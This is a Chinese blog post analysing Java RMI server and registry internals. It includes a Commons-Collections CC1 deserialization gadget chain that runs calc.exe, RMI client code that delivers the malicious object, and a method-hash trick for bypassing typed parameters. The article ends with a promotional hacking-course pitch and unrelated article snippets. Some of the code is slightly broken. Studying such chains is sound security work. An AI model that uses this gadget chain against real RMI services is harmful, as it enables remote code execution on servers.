RMIserver端和Registry端源码分析

news2024/11/29 12:49:40

想学JDNI,那想必一定躲不过RMI。

RMI简述

RMI可以远程调用JVM对象并获取结果。所以需要一个server和一个client进行通信。

Server端会创建一个远程对象用于client端远程访问。

下面改造一张来自W3Cschool的图:

1670590949_639331e5071ab35b5dc6d.png!small?1670590949697

只需要知道:Client端使用stub来请求远程方法,而Server端用Skeleton来接收stub,然后将返回值传输给Client。

  • RMI server的构造需要:

    1. 一个远程接口rmidemo,rmidemo需要继承java.rmi.Remote接口,其中的方法还需要有serializable接口

           public interface rmidemo extends Remote {  
      

      private static final long serialVersionUID = 6490921832856589236L;
      public String hello() throws RemoteException{}
      }

serialVersionUID是为了防止在序列化时导致版本冲突,所以序列化后UID不同会报异常

1670590960_639331f0b0788c8779041.png!small?1670590961141

2. 能被远程访问的类RmiObject(需要继承UnicastRemoteObject类),类必须实现rmidemo接口。

    public class RmiObject extends UnicastRemoteObject implements rmidemo {  
protected RmiObject() throws RemoteException {}  
public String hello() throws RemoteException{}  
}

3. 注册远程对象(RMIRegistry):



public class server {  
public static void main(String[] args) throws RemoteException {  
rmidemo hello = new RmiObjct();//创建远程对象  
Registry registry = LocateRegistry.createRegistry(1099);//创建注册表  
registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello  
}  
}
  • RMI Client。LocateRegistry.getRegistry进行连接,用到lookup()搜索对应方法,然后调用需要的远程方法:

    public class clientdemo {  
    

    public static void main(String[] args) throws RemoteException, NotBoundException {
    Registry registry = LocateRegistry.getRegistry(“localhost”, 1099);//获取远程主机对象
    // 利用注册表的代理去查询远程注册表中名为hello的对象
    rmidemo hello = (rmidemo) registry.lookup(“hello”);
    // 调用远程方法
    System.out.println(hello.hello());
    }
    }

以上过程也可以用素十八大佬的一图概括:

1670590972_639331fca9ae900ac7ac7.png!small?1670590973376

RMI反序列化攻击

以CC1链利用AnnotationInvocationHandler进行攻击为例:

CC1的POC为:

package org.vulhub.Ser;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
import java.util.HashMap;  
import java.util.Map;  
public class CommonsCollections1 {  
Transformer[] transformers = new Transformer[] {  
new ConstantTransformer(Runtime.class),  
new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),  
new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),  
new InvokerTransformer("exec", new Class[] { String.class },  
new String[] { "calc.exe" }),  
};  
Transformer transformerChain = newChainedTransformer(transformers);  
Map innerMap = new HashMap();  
innerMap.put("godown","buruheshen");  
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);  
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);  
construct.setAccessible(true);  
Object obj = construct.newInstance(Retention.class, outerMap);  
}

当Server端存在远程接收Object对象时,可以发送序列化对象:

public interface rmidemo extends Remote {  
void work(Object obj) throws RemoteException;  
}

在Registry时,rebind会进行反序列化:

public class server {  
public static void main(String[] args) throws RemoteException {  
rmidemo user= new RmiObject();  
Registry registry = LocateRegistry.createRegistry(1099);  
registry.rebind("user",user);  
System.out.println("rmi running....");  
}  
}

所以把CC1构造的恶意对象,通过rmi协议连接到 接收对象的类,再向 接收对象的方法传恶意对象:

public static void main(String[] args) throws Exception {  
String url = "rmi://127.0.0.1:1099/user";  
User userClient = (User) Naming.lookup(url);  
userClient.work(CommonsCollections1());  
}

1670591000_639332184e4337486eacb.png!small?1670591000871

RMI源码分析

如果不想深入RMI的可以跳过这部分,直接看攻击。

Server端UnicastRemoteObject

在刚开始,我们定义了一个类rmiObject,它必须继承UnicastRemoteObject,那这个类有什么用?简而言之就是创建远程对象并put进ObjectTable+监听本地。

该类readObject调用reexport:

1670591009_63933221d1a61d779f921.png!small?1670591010122reexport又调用exportObject:

1670591015_6393322736616dd8a7a0f.png!small?1670591015617

在reexport#exportObject中,如果没有UnicastServerRed参数会new UnicastServerRef(),并且exportObject该对象(这里的export是UnicastRemoteRef的方法)。

1670591021_6393322d4afebda112ef7.png!small?1670591021612

1670591026_63933232bd4d742bc34dd.png!small?1670591027063

  • UnicastServerRef的exportObject如下:

1670591031_63933237ccc9cf11ac1aa.png!small?1670591032169

  1. 用到了Util.creatProxy()进行动态代理:

1670591038_6393323e9acca1a147bd4.png!small?1670591039027

creatProxy使用RemoteObjectInvocationHandler,为rmidemo(远程接口)创建动态代理Proxy.newProxyInstance()

  1. 使用Target对象封装 远程方法 和生成的动态代理类。var6也就是stub

UnicastServerRef#this.ref.exportObject调用transport.liveRef的exportObject

跟进到liveRef#exportObject(),该exportObject指向了实现Endpoint接口的类,也就是TCPEndpoint()

TCPEndpoint#exportObject指向TCPTransport#exportObject

所以UnicastServerRef#this.ref.exportObject最终在TCPTransport#Object实现:负责监听本地端口

1670591054_6393324e25c4b94bcb2ae.png!small?1670591054549

super.exportObject()调用继承方法,TCPTransport的父类是Transport。

Transport()#exportObject把Target放入ObjectTable,用于管理Target

1670591061_63933255cbae30c387e63.png!small?1670591062163

在createProxy()中用到的RemoteObjectInvocationHandler动态代理,该类继承了RemoteObject并实现了InvocationHandler。所以该类可远程传输、可序列化。

Registry端createRegistry(1099)

LocateRegistry.createRegistry(1099)==new RegistryImpl(1099)

1670591067_6393325b70839e502e9e8.png!small?1670591067726

RegistryImpl调用了setup配置UnicastServerRef对象。

1670591071_6393325f02c3572086506.png!small?1670591071406

setup的exportObjec也是指向UnicastObjectRef类,exportObject依然是createProxy()创建动态代理。

1670591075_6393326320a1fdcc97530.png!small?1670591075398

不过由于最后一个参数为true,会调用UnicastServerRef#setSkeleton()

1670591078_63933266c5b6a27ac9417.png!small?1670591079237

setSkeleton()执行Util#createSkeleton()创建skeleton:

1670591085_6393326d11ccad5281bea.png!small?1670591085391

createSkeleton()用forName和newInstance反射var2对象,var1初始来自RegistryImpl,拼接_Skel后就是返回RegistryImpl_Skel。

1670591089_639332717384894e36927.png!small?1670591089992

RegistryImpl_Skel类的dispatch会根据不同的写入操作switch不同的操作方式,比如bind就是case0。

1670591093_639332759152b573f7e81.png!small?1670591093933

后面的代码和Server一样,不过exportObject的对象从UnicastServerRef变成了RegistryImpl

非Object参数RMI攻击

上面的RMI攻击环境是
Server端有接收Object参数的方法。那没有这种方法,服务端接收的是Object的子类,比如HelloObject作为参数,而我们构造的恶意类必须要是Object,该怎么办?

先来了解一下UnicastServerRef的dispatch方法。在客户端lookup远程调用方法时,Registry端执行RegistryImpl_Skel类的dispatch方法,然后将结果writeObject到序列化流:

1670591108_63933284ef76c1e66f048.png!small?1670591109384

Client端获取到Registry端的序列化流后,进行反序列化。对其调用。

当Client端向Registry端请求远程对象时,lookup的值为2,Registry端使用RegistryImpl_Skel#dispatchcase2。

Server端则是根据UnicastServerRef#dispatch来
来处理客户端请求,在hashToMethod_Map中寻找Method的hash,

1670591117_6393328d970c5866b274f.png!small?1670591117860

如果找到了就进行反射调用,

1670591121_6393329183e99f42f8ac4.png!small?1670591122084

这里的hash算法是SHA1。所以让method_hash相同的情况下就能进行反射调用。在debug时RemoteObjectInvocationHandler的invokeRemoteMethod处下断点,将Method改为服务器需要的Method,hash就会跟着改变,但是恶意类已经生成。所以能攻击。

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/335381.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

UE5 UI材质特效

一、扩散的光圈。效果如下:用ps拉一个 对称渐变 和 径向渐变对称渐变:用于做纹理,通过平面坐标到极坐标的公式,转换成环。径向渐变:用于Mask将贴图的纹理组改为 UI,压缩设置改为 用户界面2D。创建材质 M_Te…

Myb atis基础3

Mybatis注解开发单表操作Mybatis的常用注解Mybatis的增删改查MyBatis注解开发的多表操作MyBatis的注解实现复杂映射开发一对一查询一对多查询多对多查询构建sqlsql构建对象介绍查询功能的实现新增功能的实现修改功能的实现删除功能的实现Mybatis注解开发单表操作 Mybatis的常用…

【运筹优化】Python 实现标签算法求解 ESPPRC 问题

文章目录一、标签算法介绍二、SPPRC 问题三、ESPPRC 问题四、Python 实现标签算法求解 ESPPRC 问题4.1 Solomn 数据集4.2 完整代码4.2.1 Functions.py4.2.2 LabelAlgo.py4.2.3 Main.py4.3 结果展示4.3.1 测试案例:c101.txt4.3.2 测试案例:r101.txt一、标…

2022年38女神节大促美妆、珠宝、母婴、保健电商数据回顾

近期,我们陆续接收到了品牌商家朋友们对于2022年女神节大促期间部分品类的数据需求,希望能对今年的大促活动有一个更宏观的认知、更精准的预测,从而拿到更好的数据效果。 为此,在距离大促开启一个月的备货阶段,鲸参谋决…

ChatGPT真的像媒体宣传的那样“四平八稳”吗?

最近ChatGPT非常的火爆,曝光度很高,很多官方媒体和个人的自媒体公众号都进行各种追逐。有些文案写的太好了,真的都要信了。其中有一篇“遨游四海,惊艳于某州”类似旅游宣传的文案。为了测试一下于是仿照他们的问话方式对ChatGPT进…

【服务器数据恢复】服务器raid5故障导致lvm结构损坏的数据恢复案例

服务器数据恢复环境: 服务器内搭建2组raid5磁盘阵列,每组raid5阵列包含4个磁盘,2组阵列都划分为lun并组为lvm结构,采用的ext3文件系统。 服务器故障: 一直raid5磁盘阵列中的一块硬盘由于未知故障离线,此时该…

【4】深度学习之Pytorch——如何使用张量处理时间序列数据集(共享自行车数据集)

表格数据 表格中的每一行都独立于其他行,他们的顺序页没有任何关系。并且,没有提供有关行之前和行之后的列编码信息。 表格类型的数据是指通过表格的形式表示的数据,它以行和列的方式组织数据。表格中的每一行代表一个数据项,每…

九龙证券|A股苏州板块迎来“200+”里程碑

2月10日,跟着裕太微登陆科创板,A股“姑苏板块”正式迎来第201位成员。姑苏也成为继京、沪、深、杭之后,第5个具有A股上市公司总数超越200家的城市。 现在,姑苏不仅生长为位居全国前列的“制作之都”,更成为资本市场高地…

通过对HashMap的源码分析解决部分关于HashMap的问题

HashMap第一次分配多大的空间我们查看resize()中的源码所以当我们没有传入默认容量的参数的时候,默认容量是16当传进一个20的初始参数时,数组的容量是多大所以当我们传入20的参数,这时创建的容量是32(2^5)对…

电子采购一体化解决方案

企事业数字化转型专家,提供各类应用解决方案。您身边的赋能小助手! 文章目录前言一、当下采购的痛点二、解决方案-供应商管理1.供应商管理三、解决方案-企业询价、供应商报价管理四、解决方案-采购订单五、送货、到货、订单管理总结前言 随着各类产业链…

世界上最大的12个超大规模自建数据中心企业

Hyperscalers 经常与托管服务提供商合作以满足需求并解决他们的需求。但随着它们变得越来越大,超大规模企业已经转向建立自己的数据中心。 规模是选择自建的关键决定因素,但其他变量也出现了,包括减少供应商、定制和控制设计以及获取可再生能…

Linux搭建redis集群6.x版本【超简单】

Linux搭建redis集群6.x版本【超简单】::::本文主要展示如何在一台服务器上搭建集群,核心思想就是复制实例,修改启动端口,实际上跟在几台服务器的操作都是一样的。一.安装redis wget http://dow…

docker入门基础(安装docker部署应用)

docker基础容器技术发展 文章目录docker基础容器技术发展1.什么是容器?2.容器和虚拟化的区别3.docker官网文档地址4.docker基本组成5.安装docker5.1.调整系统环境5.2.准备工作5.3.下载所需的插件5.4.下载镜像仓库5.5.安装docker5.6.启动docker5.7.hello-world 命令5…

DHCP安全及防范

DHCP安全及防范DHCP面临的威胁DHCP饿死攻击仿冒DHCP Server攻击DHCP中间人攻击DHCP Snooping技术的出现DHCP Snooping防饿死攻击DHCP Snooping防止仿冒DHCP Server攻击DHCP Snooping防止中间人攻击DHCP Snooping防止仿冒DHCP报文攻击DHCP面临的威胁 网络攻击无处不在&#xff…

【JavaSE】深入HashMap

文章目录1. HashMap概述2. 哈希冲突3. 树化与退化3.1 树化的意义3.2 树的退化4. 二次哈希5. put方法源码分析6. key的设计7. 并发问题参考 如何防止因哈希碰撞引起的DoS攻击_hashmap dos攻击_双子孤狼的博客-CSDN博客 为什么 HashMap 要用 h^(h >>&#…

动态代理是基于什么原理?

第6讲 | 动态代理是基于什么原理? 编程语言通常有各种不同的分类角度,动态类型和静态类型就是其中一种分类角度,简单区分就是语言类型信息是在运行时检查,还是编译期检查。 与其近似的还有一个对比,就是所谓强类型和弱…

ChatGPT is at capacity right now错误解决,ChatGPT问题汇总

我是老鱼,一名致力于在技术道路上的终身学习者、实践者、分享者! 最近ChatGPT大火!微软退出首款ChatGPT搜索引擎,阿里等国内巨头也纷纷爆出自家产品,一夜之间,全球最大的科技公司仿佛都回到了自己年轻时的…

CUDA By Example(八)——流

文章目录页锁定主机内存可分页内存函数页锁定内存函数CUDA流使用单个CUDA流使用多个CUDA流GPU的工作调度机制高效地使用多个CUDA流遇到的问题(未解决)页锁定主机内存 在之前的各个示例中,都是通过 cudaMalloc() 在GPU上分配内存,以及通过标准的C库函数 …

【数据结构】栈(stack)

写在前面本篇文章开始讲解栈的有关知识,其实把顺序表和链表学好,那么这一章便不在话下,栈实际上就是顺序表或链表的一些特殊情况。用顺序表实现的栈叫做顺序栈用链表实现的栈叫做链栈文章的内容分为几个部分,希望读者能快速了解文…

经过去年的一遍技术洗礼,《最新的Android 核心知识点》出炉了~

金三银四即将来临,相信很多人的心已经在开始蠢蠢欲动准备新年过后跳槽换一个好点的坑位了,披荆斩棘,斩关过将“杀掉”一众竞争对手 ,最后成功靠着跳槽涨薪走上人生巅峰! 理想很丰满现实慌得一批,大批大批的…